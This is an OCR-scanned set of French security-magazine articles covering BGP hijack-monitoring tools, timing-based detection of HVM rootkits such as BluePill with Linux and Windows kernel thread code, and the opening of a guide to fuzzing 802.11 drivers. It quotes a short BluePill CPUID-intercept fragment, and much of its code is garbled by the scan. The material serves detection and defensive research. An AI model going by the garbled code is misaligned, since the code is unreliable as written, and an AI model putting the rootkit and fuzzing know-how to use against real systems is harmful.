deux AS que si au moins I'un de ces deux AS ou un de leurs
clients est lui-méme un point de mesure. Par conséquent, il n'est
a priori pas possible d'observer tout incident ou attaque étant
donné un sous-ensemble de points de mesure.

3.2 Quelques outils de
détection d’anomalies
dans les annonces

SN
(http://www.ris.ripe.net/myasn.html)

Service proposé par le RIPE NCC, I'application MyASN
(devenue IS Alarm) alerte les administrateurs de réseau
lorsqu’elle détecte qu'un préfixe donné n'est pas annoncé avec
un AS_PATH correct. Pour déterminer si I'AS_PATH est correct ou
non, MyASN vérifie s'il valide des expressions rationnelles. Les
alertes sont envoyées par mail ou par syslog. Cet outil s'appuie
sur le RIS.

IAR

(http://iar.cs.unm.edu/index.php)

De la méme facon, le service Internet Alert Registry ou IAR
a pour objectif d’informer les administrateurs réseau de tout
hijacking potentiel de routes BGP. Ce systéme est lui-méme
construit sur PGBGP, Pretty Good BGP [ PGBGP], un projet
de recherche qui vise & étre déployé sur des routeurs BGP et 4
mettre en quarantaine des routes supposées suspectes. Plutot
que de reposer sur des données de type IRR potentiellement
fausses ou sur une inscription spécifiant les chemins autorisés
vers un préfixe donné, PGBGP construit sa base de connaissance
a partir de I'historique des messages BGP pour apprendre quel
AS origine habituellement quel(s) préfixe(s), et considére ensuite
comme suspecte toute annonce qui comporterait de soudaines
modifications dans les chemins d’AS.

Les alertes pour chaque anomalie sont alors envoyées par
mail, soit par le site, soit par un tracker situé en local chez l'opé-
rateur lui-méme abonné au flux RSS des anomalies. AR distin-
gue le hijacking de préfixe, celui de sous-préfixe plus spécifique
(typiquement le cas des annonces des sous-préfixes Youtube
par I'AS pakistanais) et le hijacking de préfixe pour lequel I'AS
d'origine change alors que I'AS connu comme propriétaire du
préfixe reste dans I'AS_PATH. Ce service connait beaucoup de faux-
positifs, mais a détecté le Man-In-The-Middle de defcon 2008.

PHAS

(http://phas.netsec.colostate.edu/)

Avec le systéme PHAS (Prefix Hijack Alert System), I'ad-
ministrateur réseau enregistre les préfixes a surveiller. PHAS
récupére les données des collecteurs RouteViews. Toutefois, un
des problémes avec les collecteurs Route Views est qu'ils sont
trés chargés, et que les données ne sont pas accessibles en temps
réel ; les alarmes de PHAS ne sont donc remontées quapres
quelques heures en moyenne.

BGPMon

(http://bgpmon.net/)

BGPMon construit sa table de connaissance non seulement
sur les collecteurs du RIS (RIPE NCC), mais s’appuie également
sur les informations IRR, sur des informations enregistrées par
les administrateurs réseau (entrées sous la forme d’'expressions
rationnelles), et sur la stabilité des annonces pour détecter les
anomalies et générer ses alertes. Il vérifie également les prin-
cipaux attributs BGP pour détecter des annonces erronées,
comme les annonces comportant des AS privés (64512-65535)
qui ne doivent jamais étre visibles dans des AS_PATH de routes dif-
fusées sur I'Internet. Bref, c’est I'outil qui semble le plus complet
dans sa facon de méler les techniques de détections, les données
et les types d'informations remontées.
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3.3 Observation

des événements BGP

Outre la surveillance d’annonces concernant des bloes
d’adresses IP précis, d'autres outils, quant a eux, visent a fournir
une vision plus globale du comportement du routage Internet.

Cyeclops (http://cyclops.cs.ucla.edu/)

Cyclops suit I'évolution de la structure d'interconnexion des
AS dans le temps. Le principal intérét de I'outil réside dans la
possibilité pour un utilisateur de configurer des alarmes qui le
préviendront si, par exemple, la connectivité de son AS change
(apparition/disparition d’'un voisin) ou si un de ses préfixes se
met a étre originé par quelqu'un d'autre.

BGPlay (http://www.ris.ripe.net/bgplay/)

BGPlay est une application qui permet de visualiser les dif-
férents chemins d’AS utilisés (par les routeurs monitorés du
projet RIS) pour joindre un préfixe donné pour une période de
temps donnée. Il permet donc d'appréhender graphiquement la
dynamique BGP. Ce type d'outil est trés utile pour réaliser des

études a posteriori une fois qu'un incident a été détecté, voir
résolu. U« intelligence » est par contre laissée a l'utilisateur.
Loutil n'effectue aucune interprétation, ni ne corréle le com-
portement de plusieurs préfixes entre eux,

Apercu de l'infrastructure BGP

Reat (http://rcat.rd.francetelecom.com/)

Reat analyse en continu les updates BGP collectés par des
sondes des projets RIS et RouteViews afin d’identifier les événe-
ments qui ont modifié la structure d’interconnexion de I'Inter-
net et donc ont provoqué l'envoi de ces updates. Loutil peut étre
vu comme une grosse machine a état qui calcule périodique-
ment une vision stable de la topologie Internet, puis interpréte
les messages de mise a jour BGP par rapport 4 cette topologie,
détectant et corrélant les périodes d'indisponibilité des diffé-
rents chemins stables. Loutil consigne les différents événements
identifiés au sein d'une base de connaissance consultable parle
biais d’'un systéme de requétes logiques permettant de chercher
par exemple tous les événements ayant impacté un groupe de
préfixes ou d’AS donné, ayant eu lieu au niveau de tel(s) AS, ou
tout événement vérifiant une combinaison de ces critéres. Reat
permet donc d’appréhender la dynamique du routage dans 'In-
ternet en détectant des événements ayant modifié sa structure
d'interconnexion. Loutil a ainsi pu par exemple détecter les éve-
nements relatifs aux ruptures de cables sous-marins en janvier
2008 ou encore pointer du doigt un gaspillage des ressources
dans le réseau (consommation CPU et mémoire des routeurs)
du fait de I'existence d’événements extrémement récurrents qui
ne sont jamais résolus [NANOG43].

Conclusion

Linfrastructure de I'Internet est ouverte et est batie autour
de la confiance entre AS ; la complexité du protocole BGP et la
confidentialité des accords d'interconnexion, la dynamique du
réseau et le volume considérable des annonces de mise 4 jour
échangées sont autant de facteurs contribuant a fragiliser la
sécurité de I'Internet.

Les menaces sont réelles et ce n'est sans doute pas au hasard
que le Department of Homeland Security finance a travers le
projet « BGPSEC » des initiatives pour reprendre et renforcer

les travaux de sécurisation du protocole BGP. En attendant
d’éventuelles solutions, un opérateur seul est démuni. La robus-
tesse de I'Internet repose au final sur la vigilance des clients et
des administrateurs réseau, sur la disponibilité et la réactivité
des NOC (centre d’'opérations réseau), et sur la coopération entre
AS. Ainsi, dans le cas de I'incident de Youtube en février 2008
cité précédemment, il n'aura fallu que quelques heures pour
rétablir les chemins de communication. H

[1] Pouvoir joindre n'importe quel « héte » dans Internet.
[2] Pouvoir étre joint par n'importe quel hote dans Internet.

[3] Ala réception d'une nouvelle information de routage, un rou-
teur active une procédure de calcul de nouveaux meilleurs
chemins et de mise a jour de ces informations dans la table de
routage ; le temps de convergence est le temps au bout duquel
ce processus est termine.

[4] La décision de la meilleure route s'effectue entre les routes de
toutes les Adj-RIB-in pour le méme préfixe.

[5] Cette limitation vise & se prémunir d'un incident ot le client
annonce par mégarde sa table de routage en entier au four
nisseur. Cet incident peut en effet amener le fournisseur
a converger sur ces chemins attractifs (car passant par un
client) et & les ré-annoncer au reste de I'Internet.
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ans le numéro précédent [1], nous avons détaillé le code de BluePill et montré
qu'il y avait plusieurs incohérences au niveau des arguments avancés par
les auteurs. C'est-a-dire qu’il ne possédait en aucun cas les caractéristiques
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DETECTION
OPERATIONNELLE
DES ROOTKITS HVM

OU QUAND LA RECHERCHE
REMPLACE LE BUZZ (PARTIE 2)

virtualisation / codes malveillants / rootkits / hyperviseur / Bluepill /
détection antivirale / détection statistique / furtivité

classiques d'un rootkit. Nous allons voir dans cet article comment finalement il est
possible d’avoir une détection simple de ces rootkits HVM, et ainsi mettre fin a ce

buzz qui na eu aucun sens.

1. Méthodes de détection

Nous savons qu'il est impossible de détecter un
rootkit comme Bluepill par des prises d'empreintes
mémoire, car il n'altére en rien des structures ou des
fonctions du noyau, et utilise la mémoire de fagon tout a
fait conforme & un autre driver. La recherche de signa-
tures de Bluepill en mémoire est possible, mais n'au-
rait qu'un impact limité jusqu'a la prochaine version
(puisque celui-ci n'implémente pas encore d'altération
de la mémoire).

Nous nous sommes done appuyés sur un fait
simple : un hyperviseur augmente le temps d'exécution
de certaines instructions, et un rootkit HVM augmen-
tera significativement ce temps. Il suffit donc d'obtenir
le temps d’exécution d’'une instruction. Un hyperviseur
augmentera le temps d’'exécution d’'une instruction
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interceptée, puisque le code de commutation machine
virtuelle vers hyperviseur sera automatiquement
ajouté, et ce temps sera encore augmenté si une charge
virale est présente. Cela revient a utiliser une attaque
par le temps et nous avons dit dans l'article précédent
que nous ne contrdlons pas les sources de temps [2].

Une source de temps externe comme un serveur
NTP avec une communication chiffrée peut étre utili-
sée, et augmentera le temps d'analyse de I'hyperviseur
pour s'apercevoir dun mécanisme de détection.

Notons qu'une source de temps peut étre tout a fait rela-
tive et donc ne pas utiliser directement les horloges d'un
systéme et contourner les interceptions d'un hyperviseur.

A une échelle beaucoup plus importante, le soleil a servi




pendant de nombreuses années a connaitre I'heure, et pourrait
donc servir comme source de temps externe. Ce méme comp-
teur & I'échelle informatique peut étre une incrémentation d'une
variable (comme I'a montré Edgar Barbosa [3]) sur un cceur du
processeur, pendant que sur l'autre s'exécute I'instruction supposée
interceptée. Méme Joanna Rutkowska reconnait [4] que ce méca-
nisme est impossible a détecter et quelle y réfléchit sérieusement,

Les processeurs Intel Dual Core incluent la possibilité de
faire varier la vitesse du processeur, ce qui pourrait fausser les
résultats. Mais, en prenant des relevés avec un pas assez grand,
il suffit de peu de données pour utiliser ces deux méthodes aussi
simplement qu'avec un processeur a fréquence fixe.

Le mécanisme de Chicken [4] qui consiste a ce que le root-
kit HVM se retire de la mémoire quand un nombre important
d'instructions interceptées est appelé et  se réinstaller aprés un
temps donné pourrait contrer ce genre de détection (ce qui est
d’ailleurs contesté, car un hyperviseur de protection pourrait
alors s'installer [3]). Mais, nous pouvons employer des méca-
nismes empruntés aux virus et rendre les instructions appelées
completement aléatoires permettant ainsi de le contrer.

La liste des instructions interceptées peut se composer de
toutes celles qu'il est possible a 'hyperviseur d'intercepter, Une
instruction parmi toute la liste se détache : vnncall. Car cette
instruction est obligée d’étre interceptée par I'hyperviseur,
puisquelle permet de I'appeler.

Mais, la meilleure méthode est tout d’abord de dégager un
modeéle statistique qui nous permettra de limiter fortement les appels
a une instruction interceptée pour pouvoir détecter un rootkit.

1.1 Modele statistique

Lobjectif est de modéliser le comportement d'un ordinateur
selon que BluePill est absent ou non de la machine [2] et, dans
ce dernier cas, de différencier un BluePill simple d'un tel systéme
pourvu d'une charge virale ou d'une fonction effective. Tout repose
sur le choix d'un estimateur efficace permettant effectivement de
mettre en évidence des différences statistiquement significatives.

Tout d'abord, considérons les différents estimateurs possibles.

1.1.1 NTP (chiffré)

Cette premiére méthode consiste & prendre une source de
temps externe assez précise et fiable. La plupart des serveurs
utilisent le protocole NTP, qui permet de synchroniser les hor-
loges des systémes informatiques & travers un réseau. On pourra
également utiliser un chiffrement sur le protocole pour pouvoir
effectuer les communications en rendant beaucoup plus difficile
Tl'interception du rootkit.

Ici, la base de temps sera la différence des valeurs retournées
par le serveur NTP sur une instruction possiblement interceptée.

1.1.2 Compter

La seconde méthode est I'utilisation d'un compteur comme
source de temps, une source tout a fait relative. Elle ne fonc-
tionne qu'avec un processeur possédant plusieurs coeurs (au
moins 2) ou sur une machine multiprocesseur,

On synchronise deux processeurs pour qu'ils exécutent
notre code (composé de deux threads) en paralléle. Sur le pre-
mier processeur, nous mettons un code qui effectue une simple
bouicle incrémentant une variable, pendant que, sur le second,
on exécute une instruction potentiellement interceptée par le
rootkit HVM.

—

___Get " for instruction
e
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Si un rootkit est présent, la valeur de la variable incrémentée

sera largement supérieure au cas sans rootkit.

Dans un premier cas (Figure 1 en haut), I'instruction s'exé-
cute directement sur le processeur, dans un second cas (Figure 1
en bas), la virtualisation est activée et des instructions pour
faire la commutation sont automatiquement ajoutées, avec en
plus le code de gestion des événements de Bluepill.

Notez que ce code doit étre lancé en ring 0, car l'implémen-
tation des threads au niveau utilisateur ne permet pas de choi-
sir sur quel processeur doit tourner un thread. Tous les codes

suivants seront disponibles sur le site web [9].

1.1.2.1 Version Linux 2.6.X

Sous Linux, I'appel de la fonction «thread create permet
de créer un thread noyau, de choisir sur quel processeur doit
tourner le thread par kifirezd_bind et de le lancer par la fonction

Le thread effectuant le compteur (fonction tinepilt_kihread_cpuf)
et celui effectuant 'appel de I'instruction (fonction
timepill_kthread_cpul noloop) peuvent étre codés de la maniére

suivante, avec ktinepill_counter_t, une structure permettant de
récupérer le compteur de boucle (dans le champ titnap), et 'appel

de l'instruction (le champ inst).

static void timepill_kthread_cpublvoid *data)
{
int counter;
atomic_t cc;
unsigned long *p;
ktimepill_counter_t *kct = (ktimepill_counter_t *)data;

counter = ;
atomic_sef(kec, f);

if (ket == NULL)
goto timepill_kthread_cpud_out;

down{hsen);
up(hsem2);

down(Asencount);
counter = atomic_read(&staop_counter);
up(hsemcount);

while (counter == f)
atomic_inc(&ee);
down{&semcount);
counter = atomic_read(kstop_counter);

up(&semcount);

}

p = {unsigned Tong *)ket->titmap;
*p = atomic_read(kce);
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ket->thread = NULL;
timepill_kthread_cpu_out:
up(hthreads);

}
static void timepill_kthread_cpul _noloop(void *data)

ktimepill_counter_t *kct = (ktinepill_counter_t *)data;
if (ket == NULL)
goto timepill_kthread _cpul_noloop_out;

down{ksemcount};
atomic_set(kstop_counter, 0);
up(hsemcount);

up(ksem);
down(hsemz);

ket->inst();

down(ksemcount);
atomic_set(kstop_counter, 1);
up(hsemcount);

ket->thread = NULL;

timepitl_kthread_cpul_noloop_out:
up(kthreadl);

1.1.2.2 Version Windows Vista

Sous Windows, I'appel de la fonction PsCreatesyst

enfhread per-
met de créer un thread noyau, KeSetSystenAffinityThread de choisir

le processeur.

Ce driver (car nous sommes au niveau kernel) se contente
juste de récupérer les résultats des tours de boucles pour I'ins-
truction qu'on souhaite intercepter et de les communiquer au

programme principal par 1octl.

Comme pour la version Linux, deux threads (fonction
thread_counter et thread inst permettent respectivement de récu-
pérer le compteur et d'effectuer T'appel de I'instruction, avec éga-
lement la structure tinepill_kern_t qui a comme champ mip pour

sauvegarder le compteur et le champ inst pour I'instruction.

static VOID NTAPI thread_counter{PVOID Param)
{

int stop_counter;

ULONG ¢c;

unsigned long *p;

timepill_keen_t *tki;

tkt = (timepill_kern_t *)Param;
=0

KeSetSystemAffinityThread ((KAFFINITY)x00280601);
KeSetEvent(tkt->myevent,

,
FALSE);




KeWaitForSingieObject(anut,
Executive,
KerneiMode,

FALSE,

NULL);
stop_counter = tkt->counter;
KeReleaseMutex(dmut, FALSE);

while(stop_counter == @)

{
(s H
KeHaitForSingleObject(bnut,
Exscutive,
KernelMode,
FALSE,
NULLY;

stop_counter = tkt->counter;
KeReleaseMutex(fmut, FALSE);

p = (unsigned Tong *)tkt->nap:
*p = (o}

psTerminateSystenThread(STATUS_SUCCESS):

2.1 L'outil Pillbox

Pour tester les méthodes de détection, nous avons développé

un outil, Pillbox, qui se décompose en deux parties :

— le client, qui se charge de faire les relevés et de les transmettre
au serveur, comprend le programme chargé de récupérer
les différentes mesures et de les transmettre au serveur,
et un driver qui implémente la technique du compteur ;

—# le serveur, qui se charge de récupérer les différentes mesures

des clients, puis de I'analyser.

De méme, le client comprend plusieurs modes de récupéra-
tion des relevés selon le niveau de privilége. En mode utilisateur,
cela est possible :

—8 par I'instruction RDTSC ;
-8 par la fonction gettimeofday ;
=8 par un serveur de temps (NTP) externe ;

—# par la méthode de détection du compteur.

En mode noyau, nous utilisons la méthode de détection
du compteur,

Mais, dans notre cas, nous ne nous intéresserons qu’au
compteur en mode noyau, puisque c’est la seule méthode que
nous pouvons considérer comme efficace, difficilement inter-
ceptable et intouchable par le rootkit [2].

2. Résultats expérimentaux

static VOID NTAPI thread inst(PVOID Param)
{

int 1;
ULONG eax, ebx, ecx, edx;
timepill_kern_t *tkt;

tkt = (timepill_kern_t *)Param;
KeSetSystemAffinityThread((KAFFINITY)Ox00008002);

While(STATUS_TIMEOUT == KeNaitForSingleObject(tkt->myevent,
Executive,
KernelNode,
FALSE,
NULL)};

tkt->inst();
KeWaitForSingleObject(&mut, Executive,KernelMode,FALSEN
ULLY;
tkt->counter = 1;
KeReleaseMutexdmut, FALSE);

PsTerminateSystemThread(STATUS_SUCCESS);

Pour la représentation des résultats, nous avons utilisé trois
types de graphiques pour les analyser plus rapidement :

~# en abscisse, l'instruction ; en ordonnée, le temps relatif ;
P

~# en abscisse, les temps relatifs identiques ; en ordonnée, le
nombre de temps relatifs identiques ;

-8 en abscisse, le temps relatif ; en ordonnée, le nombre
d’expériences.

Tous les tests présentés ci-dessous ont été réalisés sur un
processeur AMD 64 bits disposant de la virtualisation et cadencé
a plus de 2 Ghz, et d'un systéme d'exploitation Windows Vista.

Dans un premier temps, nous étudions une instruction
(CPUID) que Bluepill peut intercepter et allons observer les cas
avec et sans le rootkit.

2.1.1 Cas d’un systéme sans Bluepill

Les graphiques (Figure 2, page suivante) nous montrent que la
moyenne tourne autour d'une valeur relative de 30 incrémentations
deboucle, pour exécuter I'instruction. On voit également des pics dus
a des commutations du systéme, mais qui ne génent pas I'analyse.

2.1.2 Cas d’un systéme avec Bluepill

Maintenant, nous pouvons lancer Bluepill et appeler
P'instruction CPUID (il regarde 1'état des registres pour savoir
s'ils ont une valeur magique, et les modifie si c'est le cas) sans
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I btk 1 comTER valeurs magiques. Dans le cas contraire, il
= i i j : ' ' ] appelle simplement I'instruetion CPUID :
Liad o ' . static BOOLEAN NTAPT SvmDispatchCpuid (PCPU
Cpu,PGUEST_REGS GuestRegs, :
al | PNBP_TRAP Trap, BOOLEAN WillBeAlsoHandledByGuestHy)
{
it | | [2d]
, Ymeb = Cpu->Svm.Originalimed;
g ol ! . : = .
' if ((¥mcb->rax & @xffFEFff) == BP_KNOCK_EAX)
el 55 ] {
i _KdPrint (("Magic knmock received: #p\n", 8P_
. KNOCK_EAX); :
- : 1 Vmeb->rax = BP_KNOCK_EAX_ANSHER;
I i | }
W GO | : ] else
| ‘ | | | | {
| . 7 | | | | | {--J
% - = - - = B = s = e fn = (ULONG32) Vmcb->rax;

GetCpuldInfo (fn, &(ULONG3Z) Vmcb->rax,
&(ULONG32) GuestRegs->rbx,

- T . . ->rex
L, T
}
o | * }
- Les graphiques, cette fois, permettent de
. discerner 4 l'eeil nu que l'interception de I'hy-
el | : i ] perviseur entraine une augmentation signi-
ficative du temps d’exécution de l'instruction
(Figure 3, page suivante), Ils mettent en exer-
- 1 gue le fait que la moyenne est complétement
décalée, puisque celle-ci est maintenant de 332.
C'est-a-dire quavec un rootkit HVM ne faisant
= 1 encore aucune action virale, mais simplement,
jouant le role d'un hyperviseur, nous avons un
temps relatif dix fois supérieur, ce qui permet
: - - i - - e de détecter trés facilement la présence ou non
d'un hyperviseur.
opulé-1-nobluspl ] CERITLLAND COUMTTE
[FEE=——= : ! ; : : : On observe toujours les mémes comporte-
- : ments avec les instructions que Bluepill peut
; intercepter, et en particulier I'instruction vmmcall
ol 1 que 'hyperviseur doit gérer.
| 1 2.2 Modélisation
| statistique de
1 1 la détection de
_ BluePill
Nous considérons la valeur du compteur
g & § comme estimateur. Cette approche reste iden-
tique dans le cas d'un estimateur NTP.
- e = e S Foem iy = Dans un premier temps, un grand nombre

de mesures ont été effectuées (N = 10000).

Fig. 2 : Systeme sans BluePill (méthode compteur) Sur les échantillons obtenus, la moyenne p et

I'écart-type o ont été empiriquement établis.
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Dans un second temps, nous avons supposé
que l'estimateur était une variable aléatoire
suivant une loi normale. Nous avons donc fait
un test d'ajustement (test du y2) a la loi nor-
male, au risque a = 0.005 %.

Méme si le test du x2 n'est pas optimal
(manque de puissance et caractére éventuelle-
ment subjectif de découpage en classes), il reste
cependant un outil pratique et pas trop éloigné
de la réalité. Des travaux futurs considéreront
des ajustements plus précis 4 l'aide du test de
Shapiro-Wilk. Nous conjecturons, sans trop
prendre de risques, que nous obtiendrons des
résultats identiques quant ala normalité des lois.

2.2.1 Cas sans Bluepill

Les mesures que nous avons faites mon-
trent que l'on obtient les résultats suivants :

-l moyenne observée Xobs = 26,78 ;
8l écart-type s = 13.34 ;
-8 loi normale N (26 ;13).

2.2.2 Cas avec Bluepill

Les mesures faites montrent que I'on
obtient les résultats observés suivants :

- moyenne ohservée Xobs = 339,25 ;
—l écart-type s = 38,26 ;
—# loi normale N (339 ; 38).

2.2.3 Cas avec Blue-

pill pourvu d’'une
charge virale

Les mesures faites montrent que l'on
obtient les résultats observés suivants :

—l moyenne observée Xobs = 1675,60 ;
—# écart-types =77,91;
=M loi normale N (1675 ; 77).

Maintenant que notre modéle statistique
est établi, nous allons regarder comment l'uti-
liser pour une détection opérationnelle

2.3 Test de détection

Les résultats de modélisation précédents
montrent un comportement significativement
différent selon que BluePill est actif ou non.
Nous sommes alors dans la situation résumée
par la figure 4, page suivante.

—

opii-i-bluepil] EEKMELLS CRMTER

i
i

'L
i
i
i

Fig.3 : Systéme avee BluePill (méthode compteur)
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Fig. 4 : Modélisation statistique de la détection de

BluePill

Nous voyons, bien qu'aucun malware n'est indétectable dans
T'absolu [2, 5, 6] et la réciproque est valable : aucun antivirus ne
peut se dire détecteur de tous les malwares. C'est un probléme
sans fin, mais cela n'empéche pas pour autant de rester vigi-
lant dans des cas comme celui de Bluepill, ot aucune réflexion
sereine ne s'est imposée.

Car, en effet, un simple changement de vision sur la fagon de
mesurer le temps permet de résoudre le probléme posé par les
rootkits HVM. Profitant des ceeurs multiples sur les derniers pro-
cesseurs, la technique du compteur de boucle permet de contour-
ner les moyens de protection mis indirectement a la disposition
de ces rootkits, mais aussi de s'apercevoir que ce type de rootkit
ajoute une latence significative & la mise en place de la virtualisa-
tion, et encore plus dans le cas d’un rootkit possédant une vraie
charge virale, et donc ainsi pouvoir le détecter facilement, dans le
cas ot il n'y avait pas d’hyperviseur avant son installation.

On peut pousser plus loin le cas d'utilisation d'une nouvelle
base de temps. Dans le cas de processeurs simple cceur, le GPU

ionnelle des rootkits HVM ou quand la recherche remplace le by

Pour détecter BluePill, il suffit alors de batir un test de détection
fondé sur un test d’ hypothéses simples. Cette approche a été définie
dans [5]. Les deux hypothéses a considérer sont les suivantes :

—@ Hypothése H o : BluePill est inactif. Lestimateur suit alors
une loi normale N o (26 ; 13).

-8 Hypothése H 1 : BluePill est actif. Lestimateur suit alors
une loi normale N 1 (339 ; 38).

Les risques a (risque de fausse alarme) et p (risque de non-
détection) sont fixés par l'opérateur en fonction du niveau opéra-
tionnel souhaité. Ces valeurs permettent au final de déterminer
un seuil de détection qui selon la valeur prise par l'estimateur
indique au risque a quelle hypothése doit étre retenue.

Cette approche se généralise aisément au cas de trois
hypothéses : BluePill absent, BluePill viral ou non présent.

de la carte graphique pourrait trés bien servir de compteur et
ainsi offrir une solution dans cette configuration qui va pro-
gressivement disparaitre.

Nous pouvons nous prémunir de ee type d'attaque par des
moyens simples comme la désactivation de la virtualisation
dans le BIOS, mettre un hyperviseur de protection (hyperviseur
prophylactique) ou bien encore mettre une clé pour empécher
I'activation de la virtualisation.

Mais créer un tel type de rootkit nécessite de trés bonnes
compétences techniques [7]. De plus, la documentation est peu
présente. Alors, que se passerait-il si un code comme Bluepill
se retrouvait dans la nature en possédant une réelle charge
virale ? Cela impacterait une grosse partie (limitée aux archi-
tectures possédant la virtualisation) du pare informatique mon-
dial, car, a 'heure actuelle, presque aucune solution [8] n'a été
mise sur le marché par les éditeurs d’antivirus, ce qui laisse
trés songeur. 1
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et article présente la recherche de vulnérabilités dans les implémentations
802.11 par techniques de fuzzing. Nous décrirons les techniques les plus
pertinentes avec mise en ceuvre de plusieurs outils open source. Nous
montrerons ainsi que fuzzer des implémentations 802.11 n'est vraiment pas

compliqué et a permis de découvrir de trés nombreuses vulnérabilités qui se sont
révélées pour certaines exploitables a distance.

1. Introduction

Nous ne présenterons pas dans cet article les géné-

ralités sur le fuzzing, car un dossier a déja été réalisé
dans le numéro 39 de votre magazine préféré. De la
méme maniére, nous invitons le lecteur A se référer a
l'article [SSTIC] ou a la présentation [FUZZING]
pour compléter ce qui sera présenté dans cet article.

1.1 Pourquoi le fuzzing
802.117?

Et pourquoi pas finalement ? Comme cela a été
montré en 2006 par diverses publications sur des
drivers 802.11 présentant des erreurs de programma-
tion, il n'y a pas de raison spécifique pour qu'un driver
802.11 soit épargné par ces problématiques classiques.
Rappelons-nous des divers problémes dans les piles
TCP/IP a leurs débuts. Le probléme est rigoureusement
le méme a ceci prés que, en pratique, les spécifications
802.11 sont tout de méme plutét complexes (et en par-
ticulier toutes leurs extensions sur la qualité de service,
le handover optimisé...).

Les constructeurs de chipsets sont relativement
nombreux et chacun développe sa propre pile 802.11
qui sera alors en charge d’analyser le contenu des

paquets recus et de gérer la machine a états 8o2.11.
Téche peu passionnante, mais critique s'il en est, car
c'est ici que se retrouveront les fameux débordements
de tampons et autres... Cela est bien entendu d’autant
plus critique que ces drivers fonctionnent au niveau du
noyau et ont donc des priviléges élevés.

Le fait que ce soient les drivers des constructeurs de
chipset qui soient affectés est aussi trés important, car
cela signifie que de nombreux intégrateurs de cartes ou de
points d’acces 802.11 seront impactés pour chaque driver
présentant une vulnérabilité critique. Ensuite, malheu-
reusement, tout dépendra de la « politique » de l'intégra-
teur afin de « bénéficier » d’'un correctif du driver...

1.2 Quelques rappels sur

802.11

La machine 4 états 802.11 présente trois états :
- état 1 : non authentifié, non associé ;
@ état 2 : authentifié, non associé ;
-8 état 3 : authentifié, associé.

Ces états sont relatifs 4 la norme 802.11 originelle.

Ils définissent de maniére précise quelles trames seront
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analysées par les drivers en fonction de I'état de la connexion
entre un point d’aceés et un client. A noter que les extensions
802.11 peuvent rajouter d’autres états comme la dérivation des
clés de chiffrement et d'intégrité dans I'implémentation des
mécanismes de sécurité 802.11.

Le tableau de la page 63 présente un résumé des vulnérabi-
lités publiques et nous permet d’apprendre les points suivants :

—# 4 failles publiques sur les implémentations 802.11 dans des
points d’accés commerciaux ;

—# 2 failles publiques sur les implémentations EAP dans des
points d'acces ;

—# 4 failles publiques sur des implémentations de parsers dans
des logiciels d'analyse de paquets ;

—M 1 faille publique sur la pile ieee80211 de Linux ;
—# 1 faille publique sur la pile 802.11 de FreeBSD ;

~# le reste des failles publiques étant localisées sur les implé-
mentations 802.11 clientes.

Nous avons fait la distinction dans le tablear
vilnérabilité présente dans 1a pil

(telle que ieeeBo211 dans Linux) qui

entre plusicurs drivers et une valnérabilité
8oz.11 d'un driver. Limpact n'est clairémen
en pratique | i

Nous pouvons aussi résumer la difficulté de découverte
parmi 21 failles publiques ¢6té client ou parsers (dans le cas
o suffisamment d'informations techniques sont disponibles) :

—# 13 de ces failles sont simples & découvrir (champs faciles &
fuzzer et accessibles en état 1) ;

— 2 de ces failles nécessitent un fuzzer qui monte dans les
états ;
—@ 3 de ces failles nécessitent du fuzzing évolué sur certains

champs des paramétres optionnels ;

— 3 de ces failles sont réellement difficiles a trouver grace a
des techniques de fuzzing.

Aujourd’hui, nous pouvons conclure qu'un fuzzer basique
aurait découvert environ la moitié des failles publiques, quun
fuzzer montant les états aurait permis d'arriver a en décou-
vrir environ les 3/4 et, enfin, qu'un fuzzer évolué et qui monte
les états aurait permis de découvrir prés de 9o% des failles
publiques. Bien siir, c’est aussi le serpent qui se mort la queue,
car une bonne partie des vulnérabilités publiques ont été décou-
vertes grice 4 du fuzzing, donc le résultat est somme toute
logique !

Nous nous efforcerons dans cet article de décrire la concep-
tion d’'un fuzzer basique qui aurait permis de découvrir une
grande majorité des failles publiques c6té implémentations
802.11 clientes.

A noter qua ce jour peu de failles de sécurité sur les drivers
de points d'accés ont été publiées. Cela n'est qu'une question de
temps ! Le probléme est bien évidemment équivalent aux drivers
de clients 4 ceci prés qu'il est généralement plus facile de fuzzer
des implémentations serveurs (points d’accés qui répondent &
des stimuli) que des implémentations elientes (qui doivent alors
étre instrumentées).

2. Bon cordonnier, bons outils

11 est nécessaire de disposer de matériels et de logiciel adé-
quats lors d’audits de sécurité, c'est d'autant plus vrai dans le
domaine de 'audit d'environnements 802.11 de par la spécificité
de certaines attaques qui nécessitent I'injection arbitraire de
trames 802.11.

ifJuin 2009

En effet, au début de I'avénement des technologies 802.11, le
choix des chipsets 802.11 n'était pas trés large et de nombreuses
limitations au niveau des firmwwares empéchaient T'envoi de trames
arbitraires (réécriture de certains champs 802.11 par le firmware,
impossibilité d'envoyer des trames de controle) depuis luserland.
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Pour des raisons de cofits et de facilité de développement, les

constructeurs de chipsets 802.11 ont de plus en plus déporté la
couche liaison vers le driver et non dans le firmware lui-méme.
Par conséquent, cette souplesse a été trés bénéfique pour la réa-
lisation d’attaques 802.11 avec du matériel tout a fait standard
et donc accessible a tous.

2.1 Choix du matériel

Linjection de trafic 802.11 arbitraire étant un pré-requis
pour la réussite du fuzzing 802.11, il est nécessaire de connaitre
les cartes disponibles les plus intéressantes dans ce cadre.
Linjection de trafic doit donc étre supportée par le chipset, le
firmware et le driver.

Aujourd’hui, de nombreuses cartes 802.11 supportent l'in-
jection de trafic : une liste est disponible a http://802.11ninja.
net/lorcon/.

11 est cependant recommandé d'utiliser un chipset Atheros
avec son driver open source Madwifi pour ses capacités d'in-
jection et ses interfaces virtuelles (supporte en pratique jusqu’a
4 interfaces virtuelles sur une méme interface physique et done
sur un méme canal radioélectrique). En effet, dans certaines

situations, cela peut étre extrémement pratique d'avoir un point

d’acces et un client sur une méme interface physique.

2.2 Installation et
configuration des logiciels

2.2.1 Drivers

Le driver open source Madwifi est généralement installé
par défaut dans les distributions récentes Ubuntu. 8i, toutefois,
vous désirez installer une version plus récente ou modifiée de
Madwifi, il est alors nécessaire de récupérer le code source soit
par tarball, soit par dépot Subversion.

Les modules installés sont situés dans
/1ib/modules/kernel-version/madwifi

$ modinfo ath_pci

filename: /1ib/modules/2.6.22-14-generic/madwifi/ath_pci.ko
Ticenses Dual BSD/GPL

version: 0.9.3.2

description:  Support for Atheros 882.11 wireless LAN cards.
author: Errno Consulting, Sam Leffler

sreversion: F1EDBIFDEFF4AA3CARBLCAY

[l

depends: ath_nal,wlan

vermagic: 2.6.22-14-generic SHP mod_unload 586

parm: countrycode:Override default country code (int)
parm: outdoor:Enable/disable outdoor use (int)

parm: xchanmode:Enable/disable extended channel mode (int)
parm: rfkill:Enable/disable RFKILL capability (int)
